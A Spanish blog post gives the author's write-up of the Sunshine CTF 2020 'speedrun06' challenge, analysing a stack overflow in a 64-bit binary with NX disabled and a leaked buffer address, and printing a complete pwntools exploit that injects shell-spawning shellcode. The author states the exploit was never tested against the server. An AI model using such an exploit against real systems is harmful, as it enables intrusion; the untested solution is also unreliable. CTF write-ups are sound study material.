Continúo incluyendo las soluciones a retos de la categoría 'Binary Exploitation' de la competición Sunshine CTF 2020.
En esta entrada la solución al desafío que lleva por título "speedrun06", y que, en mi opinión, presenta un nivel de dificultad medio (★★★☆☆).
- Enunciado:
- Solución: Se proporciona un archivo ejecutable (chall_06) y lo primero que hago es ejecutarlo; se muestra lo que parece ser una dirección de memoria, incluyo una cadena larga ('AAA…A'), se muestra lo que parece ser otra dirección de memoria, introduzco una cadena más larga aún ('AAA…A') y veo que el binario es vulnerable a un desbordamiento de ‘buffer’ (en inglés, ‘buffer overflow’):
Después, compruebo los mecanismos de seguridad del binario utilizando ‘checksec’:
Se trata de un binario de 64 bits, y como se ve en la figura anterior NX está deshabilitado, por lo que podré inyectar ‘shellcode’ en la pila (en inglés, ‘stack’) para ejecutarlo, y PIE está habilitado, lo que aleatoriza la dirección base del binario para dificultar el uso por un atacante de sus funciones y de ‘gadgets’ del propio binario (en español dispositivos, y que, en este caso, son pequeños fragmentos de código ya presentes en el binario).
Decompilo el binario con ’Ghidra’:
Veo que en main() se utiliza fgets() en lugar de gets() lo que, en principio, evitaría un desbordamiento de ‘buffer’.
Asimismo, veo que la dirección que se muestra al ejecutar el binario es la de inicio del ‘buffer’, que tiene un tamaño de 208 bytes.
Al final de main(), veo también que se realiza una llamada a la función vuln():
Esta función
también utiliza fgets() en lugar de gets(),
pero al establecerse en 100 el número de caracteres a leer para un ‘buffer’ de 56 caracteres es susceptible a un ataque de desbordamiento de ‘buffer’.
Tal y como he dicho, el
‘buffer’ tiene un tamaño de 56 bytes y, conforme a los nombres de las variables
local_48 y
local_10 en
‘Ghidra’, la dirección de retorno de la función
vuln() se encontraría desplazada 0x48 (72) bytes desde la dirección de inicio del
‘buffer’ y 0x10 (16) bytes desde la dirección de inicio de la variable
local_10.
Además, al final de esta función se realiza una llamada a una función ubicada en la dirección que contiene la variable local_10.
Por tanto, mi plan de ataque consiste en sobrescribir el contenido de la variable local_10 con la dirección de inicio del ‘buffer’ de main() que filtre el binario, en el que incluiré un ‘shellcode’ para abrir una ‘shell’, con lo que se ejecutará ese código, obtendré una ‘shell’, podré buscar y ver la flag, y, en consecuencia, resolver este reto.
Para implementar el ataque creo un pequeño ‘exploit’ mediante un ‘script’ en python para introducir en el ‘buffer’ de main() un ‘shellcode’ para abrir una ‘shell’ y que, posteriormente, envíe 56 bytes (0x38) de relleno, tamaño del ‘buffer’ de vuln() o, lo que es lo mismo, 0x48 - 0x10 (72 - 16), y luego la dirección de inicio del ‘buffer’ de main() que filtre el binario, con lo que sobrescribiré el contenido de la variable local_10 con la anterior, se ejecutará el ‘shellcode’ introducido en el ‘buffer’ de main() y se abrirá una ‘shell’:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./chall_06')
p = remote('chal.2020.sunshinectf.org', 30006)
p.recvuntil('Letting my armor fall again: ')
stack_address = p.recvline().strip()
stack_address = int(stack_address,16)
log.info('stack: ' + hex(stack_address))
payload = asm(shellcraft.sh())
p.sendline(payload)
payload = b'A' * 56
payload += p64(stack_address)
p.sendlineafter('For saving me from all they\'ve taken.\n',payload)
p.interactive()
Desgraciadamente, no puedo comprobar si estoy en lo cierto y lo he hecho bien porque no puedo ejecutarlo en el servidor, ya que la conexión me da un error, aunque supongo que la solución debe ir en esta línea.
Comentarios
Publicar un comentario